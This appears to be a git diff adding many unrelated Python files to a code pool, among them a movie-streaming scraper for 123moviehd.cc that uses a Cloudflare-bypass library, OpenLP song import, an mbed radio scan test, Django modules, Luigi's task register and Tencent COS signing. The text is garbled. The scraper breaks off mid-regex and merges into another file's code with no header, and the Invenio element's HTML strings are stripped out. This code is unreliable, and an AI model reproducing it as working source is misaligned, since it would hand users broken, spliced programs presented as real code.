base64.b64encode(xdr_bytes).decode() + + @classmethod + def from_xdr(cls, xdr: str) -> "LedgerKeyLiquidityPool": + xdr_bytes = base64.b64decode(xdr.encode()) + return cls.from_xdr_bytes(xdr_bytes) + + def __eq__(self, other: object): + if not isinstance(other, self.__class__): + return NotImplemented + return self.liquidity_pool_id == other.liquidity_pool_id + + def __str__(self): + out = [ + f"liquidity_pool_id={self.liquidity_pool_id}", + ] + return f"" diff --git a/pool/shard008/Python/0077428_123moviehd.py b/pool/shard008/Python/0077428_123moviehd.py new file mode 100644 index 0000000000000000000000000000000000000000..9b3b38e26e7a7d099ab4b47ffaca53634266983a --- /dev/null +++ b/pool/shard008/Python/0077428_123moviehd.py @@ -0,0 +1,76 @@ +# -*- coding: utf-8 -*- + +# ..#######.########.#######.##....#..######..######.########....###...########.#######.########..######. +# .##.....#.##.....#.##......###...#.##....#.##....#.##.....#...##.##..##.....#.##......##.....#.##....## +# .##.....#.##.....#.##......####..#.##......##......##.....#..##...##.##.....#.##......##.....#.##...... +# .##.....#.########.######..##.##.#..######.##......########.##.....#.########.######..########..######. +# .##.....#.##.......##......##..###.......#.##......##...##..########.##.......##......##...##........## +# .##.....#.##.......##......##...##.##....#.##....#.##....##.##.....#.##.......##......##....##.##....## +# ..#######.##.......#######.##....#..######..######.##.....#.##.....#.##.......#######.##.....#..######. + +''' + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +''' + +import re + +from openscrapers.modules import cfscrape +from openscrapers.modules import cleantitle +from openscrapers.modules import source_utils + + +class source: + def __init__(self): + self.priority = 1 + self.language = ['en'] + self.domains = ['123moviehd.cc'] + self.base_link = 'https://123moviehd.cc' + self.search_link = '/%s-%s/' + self.scraper = cfscrape.create_scraper() + + def movie(self, imdb, title, localtitle, aliases, year): + try: + title = cleantitle.geturl(title) + url = self.base_link + self.search_link % (title, year) + return url + except: + return + + def sources(self, url, hostDict, hostprDict): + try: + sources = [] + hostDict = hostprDict + hostDict + r = self.scraper.get(url).content + try: + qual = re.compile('class="quality">(.+?)<').findall(r) + for i in qual: + if 'HD' in i: + quality = '1080p' + else: + quality = 'SD' + match = re.compile(' 1: + new_song.alternate_title = old_titles[1] + # Values will be set when cleaning the song. + + if hasattr(song, 'song_key'): + new_song.song_key = song.song_key + if hasattr(song, 'transpose_by'): + new_song.transpose_by = song.transpose_by + + new_song.search_title = '' + new_song.search_lyrics = '' + new_song.song_number = song.song_number + new_song.lyrics = song.lyrics + new_song.verse_order = song.verse_order + new_song.copyright = song.copyright + new_song.comments = song.comments + new_song.theme_name = song.theme_name + new_song.ccli_number = song.ccli_number + for author in song.authors: + existing_author = self.manager.get_object_filtered(Author, Author.display_name == author.display_name) + if existing_author is None: + existing_author = Author.populate( + first_name=author.first_name, + last_name=author.last_name, + display_name=author.display_name) + new_song.add_author(existing_author) + if song.book: + existing_song_book = self.manager.get_object_filtered(Book, Book.name == song.book.name) + if existing_song_book is None: + existing_song_book = Book.populate(name=song.book.name, publisher=song.book.publisher) + new_song.book = existing_song_book + if song.topics: + for topic in song.topics: + existing_topic = self.manager.get_object_filtered(Topic, Topic.name == topic.name) + if existing_topic is None: + existing_topic = Topic.populate(name=topic.name) + new_song.topics.append(existing_topic) + if has_media_files: + if song.media_files: + for media_file in song.media_files: + existing_media_file = self.manager.get_object_filtered( + MediaFile, MediaFile.file_name == media_file.file_name) + if existing_media_file: + new_song.media_files.append(existing_media_file) + else: + new_song.media_files.append(MediaFile.populate(file_name=media_file.file_name)) + clean_song(self.manager, new_song) + self.manager.save_object(new_song) + if progress_dialog: + progress_dialog.setValue(progress_dialog.value() + 1) + progress_dialog.setLabelText(WizardStrings.ImportingType % new_song.title) + else: + self.import_wizard.increment_progress_bar(WizardStrings.ImportingType % new_song.title) + if self.stop_import_flag: + break + self.source_session.close() + engine.dispose() diff --git a/pool/shard008/Python/0077440_ED_scan.py b/pool/shard008/Python/0077440_ED_scan.py new file mode 100644 index 0000000000000000000000000000000000000000..1eac278fbab9846412d50655af20ca902611eb48 --- /dev/null +++ b/pool/shard008/Python/0077440_ED_scan.py @@ -0,0 +1,107 @@ +""" +Copyright (c) 2017, Arm Limited and affiliates. +SPDX-License-Identifier: Apache-2.0 + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" + +import threading +import os,sys +from icetea_lib.bench import Bench + +class Testcase(Bench): + def __init__(self): + Bench.__init__(self, name = "ED_scan", + title = "ED scan test", + status = "development", + type = "smoke", + subtype = "", + execution = { + "skip": { + "value": False, + "reason": "" + } + }, + author = "Valtteri Erkkila", + purpose = "Tests reading the ED values from channels 11-16", + feature = ["MLME-SCAN (ED)"], + component = ["MAC"], + requirements = { + "duts": { + '*': { + "count":3, + "type": "hardware", + "allowed_platforms": ["K64F", "K66F", "NUCLEO_F429ZI", "KW24D", "UBLOX_EVK_ODIN_W2"], + "application": { + "name": "TEST_APPS-device-nanostack_mac_tester" + } + }, + "1":{"nick": "First"}, + "2":{"nick": "Second"}, + "3":{"nick": "Third"} + }} + ) + + def setUp(self): + self.channel = 11 + self.command("First", "addr --64-bit 01:02:03:00:00:00:00:01") + self.command("Second", "addr --64-bit 01:02:03:00:00:00:00:02") + self.command("Third", "addr --64-bit 01:02:03:00:00:00:00:03") + + def spam_channel(self, event): + while not event.wait(0.1): + self.lock_th.acquire() + self.command("First", "data --dst_addr 01:02:03:00:00:00:00:03 --msdu {} --msdu_length {} --wait_for_confirm false".format(self.payload, len(self.payload))) + self.command("Third", "data --dst_addr 01:02:03:00:00:00:00:01 --msdu {} --msdu_length {} --wait_for_confirm false".format(self.payload, len(self.payload))) + self.lock_th.release() + + def mask_from_channel_list(self, channels): + res = 0 + for ch in channels: + res = res | ( 1 << ch) + return hex(res) + + def case(self): + self.lock_th = threading.Lock() + self.payload = "01234567890123456789012345678901234567890123456789" + + self.command("First", "start --pan_coordinator true --logical_channel {}".format(self.channel)) + self.command("Second", "start --pan_coordinator false --logical_channel {}".format(self.channel)) + self.command("Third", "start --pan_coordinator false --logical_channel {}".format(self.channel)) + + #No reason to print their spamming + self.command("First", "silent-mode on") + self.command("Third", "silent-mode on") + + self.stop_event = threading.Event() + self.th = threading.Thread(target=self.spam_channel, args=(self.stop_event,)) + self.th.start() + self.stopped = True + channels = range(11,27) + for i in range(0, 3): + self.lock_th.acquire() + self.command("First", "mlme-reset") + self.command("First", "start --pan_coordinator true --logical_channel {}".format(self.channel)) + self.command("Third", "mlme-reset") + self.command("Third", "start --pan_coordinator false --logical_channel {}".format(self.channel)) + self.lock_th.release() + self.command("Second", "scan --scan_type 0 --scan_duration 7 --channel_mask {}".format(self.mask_from_channel_list(channels))) + self.command("Second", "analyze-ed --channel {} --above 100".format(self.channel)) + + def tearDown(self): + self.command("First", "silent-mode off") + self.command("Third", "silent-mode off") + self.stop_event.set() + self.th.join() + del self.th + self.reset_dut() diff --git a/pool/shard008/Python/0077443_operations.py b/pool/shard008/Python/0077443_operations.py new file mode 100644 index 0000000000000000000000000000000000000000..df4ba36b49023cc4ff5c55197d8bd714f635aefa --- /dev/null +++ b/pool/shard008/Python/0077443_operations.py @@ -0,0 +1,91 @@ +from django.contrib.gis.db.backends.base.adapter import WKTAdapter +from django.contrib.gis.db.backends.base.operations import \ + BaseSpatialOperations +from django.contrib.gis.db.backends.utils import SpatialOperator +from django.contrib.gis.db.models import aggregates +from django.db.backends.mysql.operations import DatabaseOperations +from django.utils.functional import cached_property + + +class MySQLOperations(BaseSpatialOperations, DatabaseOperations): + + mysql = True + name = 'mysql' + + Adapter = WKTAdapter + + @cached_property + def select(self): + if self.connection.mysql_version < (5, 6, 0): + return 'AsText(%s)' + return 'ST_AsText(%s)' + + @cached_property + def from_wkb(self): + if self.connection.mysql_version < (5, 6, 0): + return 'GeomFromWKB' + return 'ST_GeomFromWKB' + + @cached_property + def from_text(self): + if self.connection.mysql_version < (5, 6, 0): + return 'GeomFromText' + return 'ST_GeomFromText' + + gis_operators = { + 'bbcontains': SpatialOperator(func='MBRContains'), # For consistency w/PostGIS API + 'bboverlaps': SpatialOperator(func='MBROverlaps'), # .. .. + 'contained': SpatialOperator(func='MBRWithin'), # .. .. + 'contains': SpatialOperator(func='MBRContains'), + 'disjoint': SpatialOperator(func='MBRDisjoint'), + 'equals': SpatialOperator(func='MBREqual'), + 'exact': SpatialOperator(func='MBREqual'), + 'intersects': SpatialOperator(func='MBRIntersects'), + 'overlaps': SpatialOperator(func='MBROverlaps'), + 'same_as': SpatialOperator(func='MBREqual'), + 'touches': SpatialOperator(func='MBRTouches'), + 'within': SpatialOperator(func='MBRWithin'), + } + + @cached_property + def function_names(self): + return { + 'Difference': 'ST_Difference', + 'Distance': 'ST_Distance', + 'Intersection': 'ST_Intersection', + 'Length': 'GLength' if self.connection.mysql_version < (5, 6, 0) else 'ST_Length', + 'SymDifference': 'ST_SymDifference', + 'Union': 'ST_Union', + } + + disallowed_aggregates = ( + aggregates.Collect, aggregates.Extent, aggregates.Extent3D, + aggregates.MakeLine, aggregates.Union, + ) + + @cached_property + def unsupported_functions(self): + unsupported = { + 'AsGeoJSON', 'AsGML', 'AsKML', 'AsSVG', 'BoundingCircle', + 'ForceRHR', 'GeoHash', 'IsValid', 'MakeValid', 'MemSize', + 'Perimeter', 'PointOnSurface', 'Reverse', 'Scale', 'SnapToGrid', + 'Transform', 'Translate', + } + if self.connection.mysql_version < (5, 6, 1): + unsupported.update({'Difference', 'Distance', 'Intersection', 'SymDifference', 'Union'}) + return unsupported + + def geo_db_type(self, f): + return f.geom_type + + def get_geom_placeholder(self, f, value, compiler): + """ + The placeholder here has to include MySQL's WKT constructor. Because + MySQL does not support spatial transformations, there is no need to + modify the placeholder based on the contents of the given value. + """ + if hasattr(value, 'as_sql'): + placeholder, _ = compiler.compile(value) + else: + placeholder = '%s(%%s)' % self.from_text + return placeholder diff --git a/pool/shard008/Python/0077449_PlotTests.py b/pool/shard008/Python/0077449_PlotTests.py new file mode 100644 index 0000000000000000000000000000000000000000..ffce6881411e2194288d009456043e60bb91e84c --- /dev/null +++ b/pool/shard008/Python/0077449_PlotTests.py @@ -0,0 +1,54 @@ +import copy +import unittest + +import matplotlib.pyplot as plt +import numpy as np + +from urh.signalprocessing.Modulator import Modulator +from urh.cythonext import signal_functions +from urh.signalprocessing.ProtocolAnalyzer import ProtocolAnalyzer +from urh.signalprocessing.Signal import Signal +from tests.utils_testing import get_path_for_data_file + + +class PlotTests(unittest.TestCase): + def test_plot(self): + modulator = Modulator("gfsk") + modulator.modulation_type = "GFSK" + modulator.samples_per_symbol = 100 + modulator.sample_rate = 1e6 + modulator.parameters[1] = 20e3 + modulator.parameters[0] = 10e3 + modulator.carrier_freq_hz = 15e3 + modulator.carrier_phase_deg = 90 + + modulated_samples = modulator.modulate([True, False, True, False, False], 77) + data = copy.deepcopy(modulated_samples) + modulated_samples = modulator.modulate([False, True, True, True, True, False, True], 100, start=len(data)) + data = np.concatenate((data, modulated_samples)) + + plt.subplot(2, 1, 1) + axes = plt.gca() + axes.set_ylim([-2,2]) + plt.plot(data.real) + plt.title("Modulated Wave") + + plt.subplot(2, 1, 2) + qad = signal_functions.afp_demod(np.ascontiguousarray(data), 0, "FSK", 2) + plt.plot(qad) + plt.title("Quad Demod") + + plt.show() + + def test_carrier_auto_detect(self): + signal = Signal(get_path_for_data_file("wsp.complex"), "test") + signal.modulation_type = "ASK" + signal.noise_threshold = 0.035 + signal.center = 0.0245 + signal.samples_per_symbol = 25 + pa = ProtocolAnalyzer(signal) + pa.get_protocol_from_signal() + start, num_samples = pa.get_samplepos_of_bitseq(0, 0, 0, 999999, include_pause=False) + + print("-----------") + print(signal.estimate_frequency(start, end=start+num_samples, sample_rate=2e6)) diff --git a/pool/shard008/Python/0077450_forms.py b/pool/shard008/Python/0077450_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..1a0980076c8decd23d1ba275001bcac13592a413 --- /dev/null +++ b/pool/shard008/Python/0077450_forms.py @@ -0,0 +1,81 @@ +from django.contrib.auth.forms import AuthenticationForm +from django import forms +from django.forms.models import BaseModelFormSet + +from players.models import * + + +class LoginForm(AuthenticationForm): + def confirm_login_allowed(self, user): + super(LoginForm, self).confirm_login_allowed(user) + if not user.is_staff and not hasattr(user, 'character'): + raise forms.ValidationError( + "This account has no character. Please wait for a GM to add one.", + code='no_character', ) + + +# Session submit forms +class SessionFormSet(BaseModelFormSet): + def __init__(self, *args, **kwargs): + initial = kwargs.pop('initial') + self.user = initial['user'] + self.character = initial['character'] + self.session = initial['session'] + super(SessionFormSet, self).__init__(*args, **kwargs) + + def fill_save(self): + self.save_existing_objects(commit=True) # deletes objects + instances = self.save(commit=False) + for instance in instances: + instance.session = self.session + instance.character = self.character + instance.save() + self.save_m2m() + + +class DisciplineActivationFormSet(SessionFormSet): + def __init__(self, *args, **kwargs): + super(DisciplineActivationFormSet, self).__init__(*args, **kwargs) + self.queryset = ActiveDisciplines.objects.filter( + character=self.character, + session=self.session) + self.max_num = 1 + self.can_delete = False + for form in self.forms: + form.fields[ + 'disciplines'].queryset = self.user.character.disciplines.all() + + +class ActionFormSet(SessionFormSet): + def __init__(self, *args, **kwargs): + super(ActionFormSet, self).__init__(*args, **kwargs) + self.queryset = Action.objects.filter(character=self.character, + session=self.session) + action_count = self.character.action_count(self.session) + self.extra = action_count + self.max_num = self.extra + # otherwise django might populate the forms with actions that + # doest match their action_type queryset + self.can_delete = False + + i = 0 + for action in self.character.actions(self.session): + for j in range(action.count): + form = self.forms[i] + # we could use form.initial to look at previous values. However + # matching the action to the option is hard. + form.fields['action_type'].queryset = action.action_types.all() + i = i + 1 + + +class FeedingFormSet(SessionFormSet): + def __init__(self, *args, **kwargs): + super(FeedingFormSet, self).__init__(*args, **kwargs) + self.queryset = Feeding.objects.filter(character=self.character, + session=self.session) + self.max_num = 3 + self.extra = 3 + self.can_delete = False + for form in self.forms: + form.fields[ + 'discipline'].queryset = self.user.character.disciplines.all() diff --git a/pool/shard008/Python/0077452_bias.py b/pool/shard008/Python/0077452_bias.py new file mode 100644 index 0000000000000000000000000000000000000000..d84a22e9ff88ce0add8bbcda0db937d97c2eab80 --- /dev/null +++ b/pool/shard008/Python/0077452_bias.py @@ -0,0 +1,25 @@ +import plumed +import numpy as np + +assert plumed.getNumArgs() == 1 +assert plumed.getNumExArgs() == 0 + +def bias(arg, force, extra): + + assert isinstance(arg, np.ndarray) + assert isinstance(force, np.ndarray) + assert isinstance(extra, np.ndarray) + + assert arg.dtype == np.float64 + assert force.dtype == np.float64 + assert extra.dtype == np.float64 + + assert arg.shape == (1,) + assert force.shape == (1,) + assert extra.shape == (0,) + + assert arg[0] == 42 + assert np.isnan(force[0]) + + force[:] = 0.0 + return 0.0 diff --git a/pool/shard008/Python/0077454_bfe_authority_author_publications.py b/pool/shard008/Python/0077454_bfe_authority_author_publications.py new file mode 100644 index 0000000000000000000000000000000000000000..bc2229d1df4bea67fd5ecc8acb33ef40317d4704 --- /dev/null +++ b/pool/shard008/Python/0077454_bfe_authority_author_publications.py @@ -0,0 +1,101 @@ +# -*- coding: utf-8 -*- +# +# This file is part of Invenio. +# Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011 CERN. +# +# Invenio is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +# +# Invenio is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Invenio; if not, write to the Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. +"""BibFormat element - Prints the control number of an Authority Record. +""" + +from invenio.config import CFG_SITE_URL, CFG_SITE_NAME + +from invenio.legacy.bibauthority.config import \ + CFG_BIBAUTHORITY_AUTHORITY_COLLECTION_NAME, \ + CFG_BIBAUTHORITY_RECORD_CONTROL_NUMBER_FIELD, \ + CFG_BIBAUTHORITY_RECORD_AUTHOR_CONTROL_NUMBER_FIELDS +from invenio.legacy.bibauthority.engine import \ + get_low_level_recIDs_from_control_no, \ + get_dependent_records_for_control_no + +from invenio.legacy.search_engine import get_fieldvalues + +CFG_BIBAUTHORITY_PUBLICATION_VIEW_LIMIT = 10 +__revision__ = "$Id$" + +def format_element(bfo): + """ Prints the control number of an author authority record in HTML. + By default prints brief version. + + @param brief: whether the 'brief' rather than the 'detailed' format + @type brief: 'yes' or 'no' + """ + + from invenio.messages import gettext_set_language + _ = gettext_set_language(bfo.lang) # load the right message language + + + control_nos = [d['a'] for d in bfo.fields('035__') if d['a']] + previous_recIDs = [] + parameters = [] + count = None + publications_formatted = [] + ## for every control number that this author has, find all the connected records for each one + for control_no in control_nos: + for ctrl_number_field_numbers in CFG_BIBAUTHORITY_RECORD_AUTHOR_CONTROL_NUMBER_FIELDS: + parameters.append(ctrl_number_field_numbers + ":" + control_no.replace(" ","")) + recIDs = [x for x in get_dependent_records_for_control_no(control_no) if x not in previous_recIDs] + count = len(recIDs) + count_string = str(count) + " dependent records" + from urllib import quote + # if we have dependent records, provide a link to them + if count: + prefix_pattern = "" + postfix = "" + url_str = '' + # print as many of the author's publications as the CFG_BIBAUTHORITY_PUBLICATION_VIEW_LIMIT allows + for i in range(count if count" + if publications_formatted: + content = "
  • " + "
  • ".join(publications_formatted) + "
" + else: + content = "Missing !" + + p_val = quote(" or ".join(parameters)) + # include "&c=" parameter for bibliographic records + # and one "&c=" parameter for authority records + url_str = \ + "/search" + \ + "?p=" + p_val + \ + "&c=" + quote(CFG_SITE_NAME) + \ + "&c=" + CFG_BIBAUTHORITY_AUTHORITY_COLLECTION_NAME + \ + "&sc=1" + \ + "&ln=" + bfo.lang + prefix = prefix_pattern % url_str + content += prefix + "See all " + str(count) + " publications..." + postfix + + return "

" + title + ": " + content + "

" + +def escape_values(bfo): + """ + Called by BibFormat in order to check if output of this element + should be escaped. + """ + return 0 diff --git a/pool/shard008/Python/0077459_consts.py b/pool/shard008/Python/0077459_consts.py new file mode 100644 index 0000000000000000000000000000000000000000..f74b7a700ab5466deda73a4051d07de3488ad1ea --- /dev/null +++ b/pool/shard008/Python/0077459_consts.py @@ -0,0 +1,25 @@ +from django.conf import settings + +VINGD_MODE = getattr(settings, 'VINGD_MODE', 'production') +VINGD_SETTINGS = settings.VINGD_SETTINGS[VINGD_MODE] + +SETTINGS = { + 'production': { + 'VINGD_FRONTEND': 'https://www.vingd.com', + 'VINGD_BACKEND': 'https://api.vingd.com/broker/v1/', + 'VINGD_CDN': 'https://apps.vingd.com/cdn/', + }, + 'sandbox': { + 'VINGD_FRONTEND': 'http://www.sandbox.vingd.com', + 'VINGD_BACKEND': 'https://api.vingd.com/sandbox/broker/v1/', + 'VINGD_CDN': 'https://apps.vingd.com/cdn/', + } +}.get(VINGD_MODE) or {} + +SETTINGS.update(VINGD_SETTINGS) + +VINGD_FRONTEND = SETTINGS['VINGD_FRONTEND'] +VINGD_BACKEND = SETTINGS['VINGD_BACKEND'] +VINGD_CDN = SETTINGS['VINGD_CDN'] +VINGD_USR = SETTINGS['VINGD_USR'] +VINGD_PWD = SETTINGS['VINGD_PWD'] diff --git a/pool/shard008/Python/0077464_task_register.py b/pool/shard008/Python/0077464_task_register.py new file mode 100644 index 0000000000000000000000000000000000000000..221bdcc4f7f18eafa593e03a2c634e0bd83e775c --- /dev/null +++ b/pool/shard008/Python/0077464_task_register.py @@ -0,0 +1,260 @@ +# -*- coding: utf-8 -*- +# +# Copyright 2012-2015 Spotify AB +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +""" +Define the centralized register of all :class:`~luigi.task.Task` classes. +""" + +import abc + +from luigi import six +import logging +logger = logging.getLogger('luigi-interface') + + +class TaskClassException(Exception): + pass + + +class TaskClassNotFoundException(TaskClassException): + pass + + +class TaskClassAmbigiousException(TaskClassException): + pass + + +class Register(abc.ABCMeta): + """ + The Metaclass of :py:class:`Task`. + + Acts as a global registry of Tasks with the following properties: + + 1. Cache instances of objects so that eg. ``X(1, 2, 3)`` always returns the + same object. + 2. Keep track of all subclasses of :py:class:`Task` and expose them. + """ + __instance_cache = {} + _default_namespace_dict = {} + _reg = [] + AMBIGUOUS_CLASS = object() # Placeholder denoting an error + """If this value is returned by :py:meth:`_get_reg` then there is an + ambiguous task name (two :py:class:`Task` have the same name). This denotes + an error.""" + + def __new__(metacls, classname, bases, classdict): + """ + Custom class creation for namespacing. + + Also register all subclasses. + + When the set or inherited namespace evaluates to ``None``, set the task namespace to + whatever the currently declared namespace is. + """ + cls = super(Register, metacls).__new__(metacls, classname, bases, classdict) + cls._namespace_at_class_time = metacls._get_namespace(cls.__module__) + metacls._reg.append(cls) + return cls + + def __call__(cls, *args, **kwargs): + """ + Custom class instantiation utilizing instance cache. + + If a Task has already been instantiated with the same parameters, + the previous instance is returned to reduce number of object instances. + """ + def instantiate(): + return super(Register, cls).__call__(*args, **kwargs) + + h = cls.__instance_cache + + if h is None: # disabled + return instantiate() + + # ignore dict param values. inconsequential and screws up hashing + params = cls.get_params() + param_values = cls.get_param_values(params, args, kwargs) + param_values_new = [] + for param in param_values: + if isinstance(param[1], dict) is True: + continue + else: + param_values_new.append(param) + + k = (cls, tuple(param_values_new)) + + try: + hash(k) + except TypeError: + logger.debug("Not all parameter values are hashable so instance isn't coming from the cache") + return instantiate() # unhashable types in parameters + + if k not in h: + h[k] = instantiate() + + return h[k] + + @classmethod + def clear_instance_cache(cls): + """ + Clear/Reset the instance cache. + """ + cls.__instance_cache = {} + + @classmethod + def disable_instance_cache(cls): + """ + Disables the instance cache. + """ + cls.__instance_cache = None + + @property + def task_family(cls): + """ + Internal note: This function will be deleted soon. + """ + if not cls.get_task_namespace(): + return cls.__name__ + else: + return "{}.{}".format(cls.get_task_namespace(), cls.__name__) + + @classmethod + def _get_reg(cls): + """Return all of the registered classes. + + :return: an ``dict`` of task_family -> class + """ + # We have to do this on-demand in case task names have changed later + reg = dict() + for task_cls in cls._reg: + if not task_cls._visible_in_registry: + continue + + name = task_cls.get_task_family() + if name in reg and \ + (reg[name] == Register.AMBIGUOUS_CLASS or # Check so issubclass doesn't crash + not issubclass(task_cls, reg[name])): + # Registering two different classes - this means we can't instantiate them by name + # The only exception is if one class is a subclass of the other. In that case, we + # instantiate the most-derived class (this fixes some issues with decorator wrappers). + reg[name] = Register.AMBIGUOUS_CLASS + else: + reg[name] = task_cls + + return reg + + @classmethod + def _set_reg(cls, reg): + """The writing complement of _get_reg + """ + cls._reg = [task_cls for task_cls in reg.values() if task_cls is not cls.AMBIGUOUS_CLASS] + + @classmethod + def task_names(cls): + """ + List of task names as strings + """ + return sorted(cls._get_reg().keys()) + + @classmethod + def tasks_str(cls): + """ + Human-readable register contents dump. + """ + return ','.join(cls.task_names()) + + @classmethod + def get_task_cls(cls, name): + """ + Returns an unambiguous class or raises an exception. + """ + task_cls = cls._get_reg().get(name) + if not task_cls: + raise TaskClassNotFoundException(cls._missing_task_msg(name)) + + if task_cls == cls.AMBIGUOUS_CLASS: + raise TaskClassAmbigiousException('Task %r is ambiguous' % name) + return task_cls + + @classmethod + def get_all_params(cls): + """ + Compiles and returns all parameters for all :py:class:`Task`. + + :return: a generator of tuples (TODO: we should make this more elegant) + """ + for task_name, task_cls in six.iteritems(cls._get_reg()): + if task_cls == cls.AMBIGUOUS_CLASS: + continue + for param_name, param_obj in task_cls.get_params(): + yield task_name, (not task_cls.use_cmdline_section), param_name, param_obj + + @staticmethod + def _editdistance(a, b): + """ Simple unweighted Levenshtein distance """ + r0 = range(0, len(b) + 1) + r1 = [0] * (len(b) + 1) + + for i in range(0, len(a)): + r1[0] = i + 1 + + for j in range(0, len(b)): + c = 0 if a[i] is b[j] else 1 + r1[j + 1] = min(r1[j] + 1, r0[j + 1] + 1, r0[j] + c) + + r0 = r1[:] + + return r1[len(b)] + + @classmethod + def _missing_task_msg(cls, task_name): + weighted_tasks = [(Register._editdistance(task_name, task_name_2), task_name_2) for task_name_2 in cls.task_names()] + ordered_tasks = sorted(weighted_tasks, key=lambda pair: pair[0]) + candidates = [task for (dist, task) in ordered_tasks if dist <= 5 and dist < len(task)] + if candidates: + return "No task %s. Did you mean:\n%s" % (task_name, '\n'.join(candidates)) + else: + return "No task %s. Candidates are: %s" % (task_name, cls.tasks_str()) + + @classmethod + def _get_namespace(mcs, module_name): + for parent in mcs._module_parents(module_name): + entry = mcs._default_namespace_dict.get(parent) + if entry: + return entry + return '' # Default if nothing specifies + + @staticmethod + def _module_parents(module_name): + ''' + >>> list(Register._module_parents('a.b')) + ['a.b', 'a', ''] + ''' + spl = module_name.split('.') + for i in range(len(spl), 0, -1): + yield '.'.join(spl[0:i]) + if module_name: + yield '' + + +def load_task(module, task_name, params_str): + """ + Imports task dynamically given a module and a task name. + """ + if module is not None: + __import__(module) + task_cls = Register.get_task_cls(task_name) + return task_cls.from_str_params(params_str) diff --git a/pool/shard008/Python/0077465_cos_auth.py b/pool/shard008/Python/0077465_cos_auth.py new file mode 100644 index 0000000000000000000000000000000000000000..e3a0540258bb0a648a9be74bab542a8fc4dff85b --- /dev/null +++ b/pool/shard008/Python/0077465_cos_auth.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python +# coding=utf-8 + +import time +from urllib2 import quote +import hmac +import hashlib + + +class Auth(object): + def __init__(self, appid, SecretID, SecretKey, bucket, region, method, objectName, head="", parameters="", sign_time="", key_time=""): + """ + + :param appid: 开发者访问 COS 服务时拥有的用户维度唯一资源标识,用以标示资源。 + :param SecretID: SecretID 是开发者拥有的项目身份识别 ID,用以身份认证 + :param SecretKey: SecretKey 是开发者拥有的项目身份密钥。 + :param bucket: 存储桶是 COS 中用于存储数据的容器,是用户存储在 Appid 下的第一级目录,每个对象都存储在一个存储桶中。 + :param region: 域名中的地域信息,枚举值:cn-east(华东),cn-north(华北),cn-south(华南),sg(新加坡) + :param method: 指该请求的 HTTP 操作行为,例如 PUT/GET/DELETE,必须转为小写字符。 + :param objectName: 指该请求中的 URI 部分,即除去 http:// 协议和域名的部分(通常以 / 开始),并且不包含 URL 中的参数部分(通常以 ? 开始)。 + :param head: 指请求中的 HTTP 头部信息,用 key=value 的方式表达。头部的 key 必须全部小写,value 必须经过 URL Encode。如果有多个参数对可使用 & 连接。key值按字典序排序 + :param parameters: 指该请求中的参数部分(以 ? 开始的部分),用 key=value 的方式表达。 + :param sign_time: 无需指定 签名的有效起止时间,其使用 10 位 Unix 时间戳来表示,有效效力精确到秒。该字段通过分号区分起止,起时在前、止时在后。 + :param key_time: 无需指定 用户可以自定义 SignningKey 有效时间,使用 10 位 Unix 时间戳来表示,有效效力精确到秒。该字段通过分号区分起止,起始时间在前、终止时间在后。一般 q-key-time 的时间范围大于等于 q-sign-time。 + """ + self.appid = appid + self.SecretID = SecretID + self.SecretKey = SecretKey + self.bucket = bucket + self.region = region + + self.method = method + self.objectname = objectName + self.parameters = parameters.encode('utf-8') + self.head = head + + if sign_time == "": + self.q_sign_time = int(time.time()) + else: + self.q_sign_time = int(sign_time) + + if key_time == "": + self.q_key_time = int(self.q_sign_time) + 3000 + else: + self.q_key_time = int(key_time) + + self.sh1hash_formatstring = '' + + def get_signkey(self): + q_time = '%s;%s' % (self.q_sign_time, self.q_key_time) + signkey = hmac.new(bytearray(self.SecretKey, 'utf-8'), bytearray(q_time, 'utf-8'), hashlib.sha1).hexdigest() + return signkey + + def format_args(self, args, isfullstring=True, isheader=True): + my_f_args = '' + if args != '': + list_temp = [] + if isheader: + str_temp = '%s-%s.%s.myqcloud.com' % (self.bucket, self.appid, self.region) + list_temp = [('host', quote(str_temp, encoding='utf-8').lower())] + + try: + args_list = args.split('&') + except: + args_list = args + + for n in args_list: + arg = n.split(':') + list_temp.append((arg[0].lower(), quote(arg[1], encoding='utf-8').lower())) + + list_temp.sort(key=lambda x: x[0]) + + if isfullstring: + for n in list_temp: + my_f_args += n[0] + '=' + n[1] + '&' + else: + for n in list_temp: + my_f_args += n[0] + ';' + + my_f_args = my_f_args[0:-1] + + return my_f_args + + def get_formatstring(self): + format_method = self.method + format_url = self.objectname + format_parameters = self.format_args(self.parameters, True, False) + + format_head = self.format_args(self.head) + format_string = "%s\n%s\n%s\n%s\n" % (format_method, format_url, format_parameters, format_head) + + return format_string + + def get_stringtosign(self): + q_sign_time = '%s;%s' % (self.q_sign_time, self.q_key_time) + formatstring = self.get_formatstring() + sh1hash_formatstring = hashlib.sha1(formatstring.encode('utf-8')).hexdigest() + stringtosign = "sha1\n%s\n%s\n" % (q_sign_time, sh1hash_formatstring) + return stringtosign + + def get_signature(self): + signature = hmac.new( + bytearray(self.get_signkey(), 'utf-8'), + 